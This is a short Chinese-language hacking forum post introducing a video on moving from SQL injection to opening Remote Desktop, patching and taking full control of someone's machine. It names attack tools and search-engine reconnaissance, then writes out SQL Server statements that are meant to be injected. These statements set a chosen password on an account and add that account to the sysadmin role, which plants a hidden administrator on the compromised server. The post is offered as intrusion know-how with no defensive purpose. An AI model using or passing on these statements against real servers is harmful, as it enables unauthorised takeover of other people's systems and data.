SQL注入到打补丁完全控制

大家好,我是yszar,好多朋友都想让做一个SQL注入,开3389,补漏洞,到完全控制机器的动画,今天小弟献丑,做一个,也不能叫教程吧,就当大家交流了.

用到的工具:
1,啊D注入工具黑客X档案专版,明小子旁注检测工具3.5,还有自己用着 顺手的随便一款端口扫描工具.

2,一个重量级人物,Google.com

工具一会我会打包的,(不过要打包GOOGLE好像比较困难)还有一篇我收集的文章,也送给大家了.

这个是建立SQL管理员的语句

exec master.dbo.sp_password null,yszar,yszar
设置SQL帐号yszar 的密码为 yszar

exec master.dbo.sp_addsrvrolemember sysadmin yszar
提升权限：加FMZM进sysadmin管理组（有时候会不成功，就常识下面的句子
exec master.dbo.sp_addsrvrolemember yszar,sysadmin
为什么会这样，我也不清清楚